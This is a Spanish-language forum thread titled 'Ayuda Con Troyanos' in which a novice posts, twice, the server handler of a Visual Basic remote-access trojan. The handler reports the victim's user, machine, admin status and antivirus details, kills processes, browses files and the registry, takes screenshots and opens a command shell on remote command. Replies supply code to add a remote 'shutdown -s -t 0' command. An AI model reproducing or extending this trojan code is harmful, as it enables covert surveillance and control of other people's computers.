Autor
|
Tema: Ayuda Con Troyanos (Leído 2,225 veces)
|
Zaoner
Desconectado
Mensajes: 20
|
Hola soy muy novato en esto arranque hace muy poco...y me surge una duda... tengo un problema en el server en DataArrival Code Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)
Dim sData As String Dim sHead As String
Dim iFData As Integer Dim iRData As Integer
Dim sMParam() As String Dim sDParam() As String
DoEvents wskServer.GetData sData
Debug.Print sData
sHead = Left(sData, 10) sData = Right$(sData, Len(sData) - 10)
sMParam = Split(sData, sDetailSplit)
Select Case sHead Case "[GETSINFO]" wskServer.SendData "[SETSINFO]" & _ "Syntax" & sDetailSplit & _ Environ("username") & " @ " & Environ("computername") & sDetailSplit & _ IsNTAdmin(0&, 0&) & sDetailSplit & _ Environ("os") & sDetailSplit & _ GetCPUSpeedMHz & sDetailSplit & _ MemoryAvailable & sDetailSplit & _ GetCountryCode & sDetailSplit & _ ".9" Case "[GETDINFO]" wskServer.SendData "[SETDINFO]" & _ Environ("username") & sDetailSplit & _ Environ("computername") & sDetailSplit & _ Environ("os") & sDetailSplit & _ CountryTag & sDetailSplit & _ Split(GetFWAV, "|")(1) & sDetailSplit & _ Split(GetFWAV, "|")(0) & sDetailSplit & _ App.Path & sDetailSplit & _ Environ("systemdrive") & sDetailSplit & _ Environ("systemroot") & "\" & sDetailSplit & _ GetProcessor & sDetailSplit & _ GetCPUModel & sDetailSplit & _ Split(MemoryAvailable, "|")(0) & sDetailSplit & _ Split(MemoryAvailable, "|")(1) & sDetailSplit & _ GetCamDrvs & sDetailSplit & _ Screen.Width / Screen.TwipsPerPixelX & " x " & Screen.Height / Screen.TwipsPerPixelY Case "[GETPRCLT]" wskServer.SendData "[SETPRCLT]" & GetProcesses Case "[GETPRGLT]" wskServer.SendData "[SETPRGLT]" & GetInstalledApps Case "[GETSRVLT]" wskServer.SendData "[SETSRVLT]" & EnumerateServices Case "[GETMODLT]" wskServer.SendData "[SETMODLT]" & GetModules(CLng(sMParam(0))) Case "[GETWNDLT]" lstWindows = "" Call EnumWindows(AddressOf GetWindows, CLng(sMParam(0))) wskServer.SendData "[SETWNDLT]" & lstWindows Case "[GETPRCKL]" wskServer.SendData "[SETPRCKL]" & KillByPID(CLng(sMParam(0))) Case "[GETMODKL]" wskServer.SendData "[SETMODKL]" & UnInjectDll(sMParam(0), CLng(sMParam(1))) Case "[GETPRCPR]" wskServer.SendData "[SETPRCPR]" & SetProcessPriority(CLng(sMParam(0)), GetPriority(sMParam(1))) Case "[GETSRVST]" wskServer.SendData "[SETSRVST]" & ServiceControl(sMParam(0), CLng(sMParam(1))) 'Case "[GETSRVSU]" ' wskServer.SendData "[SETSRVSU]" & SetServiceStartup(CLng(sMParam(0)), GetPriority(sMParam(1))) Case "[GETWNDOP]" Select Case sMParam(0) Case 0: sMParam(0) = SetWindow(CLng(sMParam(1)), 3) Case 1: sMParam(0) = SetWindow(CLng(sMParam(1)), 6) Case 2: sMParam(0) = SetWindow(CLng(sMParam(1)), 5) Case 3: sMParam(0) = SetWindow(CLng(sMParam(1)), 0) Case 4: sMParam(0) = CloseWindow(CLng(sMParam(1))) Case 5: sMParam(0) = ChangeWindowText(CLng(sMParam(1)), sMParam(2)) End Select wskServer.SendData "[SETWNDOP]" & sMParam(0) Case "[GETFILES]" sData = EnumFiles(sMParam(0)) If Len(sData) > 3072 Then sFData = sData While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit iFData = iFData + 1 Wend wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData) DoEvents sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData)) Else wskServer.SendData "[SETFILER]" + sData End If
Case "[GETFILER]" If Len(sFData) > 3072 Then While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit iFData = iFData + 1 Wend Sleep 100 wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData) DoEvents sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData)) Else wskServer.SendData "[SETFILER]" + sFData End If Case "[GETREGES]" sData = EnumKeysValues(sMParam(0), sMParam(1)) If Len(sData) > 3072 Then sRData = sData While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit iRData = iRData + 1 Wend wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData) DoEvents sRData = Mid(sRData, 3072 + iRData + 1, Len(sRData)) Else wskServer.SendData "[SETREGER]" + sData End If
Case "[GETREGER]" If Len(sRData) > 3072 Then While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit iRData = iRData + 1 Wend Sleep 100 wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData) DoEvents sFData = Mid(sRData, 3072 + iRData + 1, Len(sRData)) Else wskServer.SendData "[SETREGER]" + sRData End If Case "[GETSCRST]" sData = GetScreenshot(-1, picScreenShot) MsgBox Len(sData) iSData = 0 If Len(sData) > 3072 Then sSData = sData wskServer.SendData "[SETSCRST]" & Left(sData, 3072) Else wskServer.SendData "[SETSCRSR]" & sData End If Case "[GETSCRSR]" If Len(sSData) > 3072 Then iSData = iSData + 1 wskServer.SendData "[SETSCRST]" & Mid(sSData, iSData * 3072, 3072) MsgBox iSData Else wskServer.SendData "[SETSCRSR]" & sData End If
Case "[GETDRIVE]" wskServer.SendData "[SETDRIVE]" & EnumDrives Case "[FILESIZE]": wskServer.SendData "[SETSTRSD]" Case "[GETCOMND]" Select Case sMParam(0) Case 0 KillByPID DOS_PID wskServer.SendData "[SETCOMND]" & 0 Case 1 ExecuteCommand Environ("comspec") wskServer.SendData "[SETCOMND]" & 1 Case 2 WriteData sMParam(1) End Select
End Select End Sub a la hora de poner un simple codigo que apague la pc seria En DataArrival Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim datos As String Winsock1.GetData datos If datos = "apagar" Then Shell "shutdown -s -t 0" End If End Sub y para el cliente seria Private Sub Command2_Click() Winsock1.SendData "apagar" End Sub pero no puedo hacer que funcione 
|
|
|
En línea
|
|
|
|
& eDu &
Desconectado
Mensajes: 580
|
Mira utiliza el siguiente código. En el servidor cuando recibes los datos pon Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim datos As String Dim dt() As String Winsock1.GetData datos dt = Split(datos,"|") Select case dt(0) Case "apagar" Shell "shutdown -s -t 0" End Select End Sub
ahora en el cliente cuando envias pon Private Sub Command2_Click() Winsock1.SendData "apagar|" End Sub
|
|
|
En línea
|
|
|
|
Zaoner
Desconectado
Mensajes: 20
|
ya intente y no hubo caso osea no se donde poner el codigo para apagar la pc en el dataarrival del server y el nombre es wskServer no Winsock1
|
|
|
En línea
|
|
|
|
Angeldj27
Desconectado
Mensajes: 199
Ahorra Agua... Beba Cerveza
|
el nombre es wskServer no Winsock1
Si es asi como dices solo cambiale el name al objeto tambien quieres eso no me relajes, y si no me equivoco solo debes agregarle ese caso a tu server para poder enviarle la orden. Saludos...
|
|
|
En línea
|
"Que vamos a hacer Mañana?..... Lo mismo que hacemos todos los dias Pinky tratar de Conquistar el Mundoooo!!!!!
|
|
|
Zaoner
Desconectado
Mensajes: 20
|
si pero ya lo hice pero el problema es donde lo agrego en el dataarrival del server por que me tira error......  osea meter esto Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim datos As String Winsock1.GetData datos If datos = "apagar" Then Shell "shutdown -s -t 0" End If End Sub ACA DENTRO creo....o se agrega una nueva? Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)
Dim sData As String Dim sHead As String
Dim iFData As Integer Dim iRData As Integer
Dim sMParam() As String Dim sDParam() As String
DoEvents wskServer.GetData sData
Debug.Print sData
sHead = Left(sData, 10) sData = Right$(sData, Len(sData) - 10)
sMParam = Split(sData, sDetailSplit)
Select Case sHead Case "[GETSINFO]" wskServer.SendData "[SETSINFO]" & _ "Syntax" & sDetailSplit & _ Environ("username") & " @ " & Environ("computername") & sDetailSplit & _ IsNTAdmin(0&, 0&) & sDetailSplit & _ Environ("os") & sDetailSplit & _ GetCPUSpeedMHz & sDetailSplit & _ MemoryAvailable & sDetailSplit & _ GetCountryCode & sDetailSplit & _ ".9" Case "[GETDINFO]" wskServer.SendData "[SETDINFO]" & _ Environ("username") & sDetailSplit & _ Environ("computername") & sDetailSplit & _ Environ("os") & sDetailSplit & _ CountryTag & sDetailSplit & _ Split(GetFWAV, "|")(1) & sDetailSplit & _ Split(GetFWAV, "|")(0) & sDetailSplit & _ App.Path & sDetailSplit & _ Environ("systemdrive") & sDetailSplit & _ Environ("systemroot") & "\" & sDetailSplit & _ GetProcessor & sDetailSplit & _ GetCPUModel & sDetailSplit & _ Split(MemoryAvailable, "|")(0) & sDetailSplit & _ Split(MemoryAvailable, "|")(1) & sDetailSplit & _ GetCamDrvs & sDetailSplit & _ Screen.Width / Screen.TwipsPerPixelX & " x " & Screen.Height / Screen.TwipsPerPixelY Case "[GETPRCLT]" wskServer.SendData "[SETPRCLT]" & GetProcesses Case "[GETPRGLT]" wskServer.SendData "[SETPRGLT]" & GetInstalledApps Case "[GETSRVLT]" wskServer.SendData "[SETSRVLT]" & EnumerateServices Case "[GETMODLT]" wskServer.SendData "[SETMODLT]" & GetModules(CLng(sMParam(0))) Case "[GETWNDLT]" lstWindows = "" Call EnumWindows(AddressOf GetWindows, CLng(sMParam(0))) wskServer.SendData "[SETWNDLT]" & lstWindows Case "[GETPRCKL]" wskServer.SendData "[SETPRCKL]" & KillByPID(CLng(sMParam(0))) Case "[GETMODKL]" wskServer.SendData "[SETMODKL]" & UnInjectDll(sMParam(0), CLng(sMParam(1))) Case "[GETPRCPR]" wskServer.SendData "[SETPRCPR]" & SetProcessPriority(CLng(sMParam(0)), GetPriority(sMParam(1))) Case "[GETSRVST]" wskServer.SendData "[SETSRVST]" & ServiceControl(sMParam(0), CLng(sMParam(1))) 'Case "[GETSRVSU]" ' wskServer.SendData "[SETSRVSU]" & SetServiceStartup(CLng(sMParam(0)), GetPriority(sMParam(1))) Case "[GETWNDOP]" Select Case sMParam(0) Case 0: sMParam(0) = SetWindow(CLng(sMParam(1)), 3) Case 1: sMParam(0) = SetWindow(CLng(sMParam(1)), 6) Case 2: sMParam(0) = SetWindow(CLng(sMParam(1)), 5) Case 3: sMParam(0) = SetWindow(CLng(sMParam(1)), 0) Case 4: sMParam(0) = CloseWindow(CLng(sMParam(1))) Case 5: sMParam(0) = ChangeWindowText(CLng(sMParam(1)), sMParam(2)) End Select wskServer.SendData "[SETWNDOP]" & sMParam(0) Case "[GETFILES]" sData = EnumFiles(sMParam(0)) If Len(sData) > 3072 Then sFData = sData While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit iFData = iFData + 1 Wend wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData) DoEvents sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData)) Else wskServer.SendData "[SETFILER]" + sData End If
Case "[GETFILER]" If Len(sFData) > 3072 Then While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit iFData = iFData + 1 Wend Sleep 100 wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData) DoEvents sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData)) Else wskServer.SendData "[SETFILER]" + sFData End If Case "[GETREGES]" sData = EnumKeysValues(sMParam(0), sMParam(1)) If Len(sData) > 3072 Then sRData = sData While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit iRData = iRData + 1 Wend wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData) DoEvents sRData = Mid(sRData, 3072 + iRData + 1, Len(sRData)) Else wskServer.SendData "[SETREGER]" + sData End If
Case "[GETREGER]" If Len(sRData) > 3072 Then While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit iRData = iRData + 1 Wend Sleep 100 wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData) DoEvents sFData = Mid(sRData, 3072 + iRData + 1, Len(sRData)) Else wskServer.SendData "[SETREGER]" + sRData End If Case "[GETSCRST]" sData = GetScreenshot(-1, picScreenShot) MsgBox Len(sData) iSData = 0 If Len(sData) > 3072 Then sSData = sData wskServer.SendData "[SETSCRST]" & Left(sData, 3072) Else wskServer.SendData "[SETSCRSR]" & sData End If Case "[GETSCRSR]" If Len(sSData) > 3072 Then iSData = iSData + 1 wskServer.SendData "[SETSCRST]" & Mid(sSData, iSData * 3072, 3072) MsgBox iSData Else wskServer.SendData "[SETSCRSR]" & sData End If
Case "[GETDRIVE]" wskServer.SendData "[SETDRIVE]" & EnumDrives Case "[FILESIZE]": wskServer.SendData "[SETSTRSD]" Case "[GETCOMND]" Select Case sMParam(0) Case 0 KillByPID DOS_PID wskServer.SendData "[SETCOMND]" & 0 Case 1 ExecuteCommand Environ("comspec") wskServer.SendData "[SETCOMND]" & 1 Case 2 WriteData sMParam(1) End Select
End Select End Sub
|
|
« Última modificación: 7 Noviembre 2008, 19:54 pm por Zaoner »
|
En línea
|
|
|
|
Zaoner
Desconectado
Mensajes: 20
|
|
|
|
En línea
|
|
|
|
vivachapas
Desconectado
Mensajes: 612
|
mmmm me parece q hiciste un ALTO copy paste xD
no se mi consejo es q te leas un manual.. y no empiezes con cosas tan dificiles... lo q queres hacer es una pavada xD... y no puede ser q si hiciste el code de antes no te salga eso! :S
SALUDOS
|
|
|
En línea
|
|
|
|
Zaoner
Desconectado
Mensajes: 20
|
no no el code no lo hice yo por eso es que no lo puedo lograr hacer 
|
|
|
En línea
|
|
|
|
& eDu &
Desconectado
Mensajes: 580
|
no no el code no lo hice yo por eso es que no lo puedo lograr hacer  Utiliza el código que te deje anteriormente ! Es el más sencillo para los troyanos.
|
|
|
En línea
|
|
|
|
|
|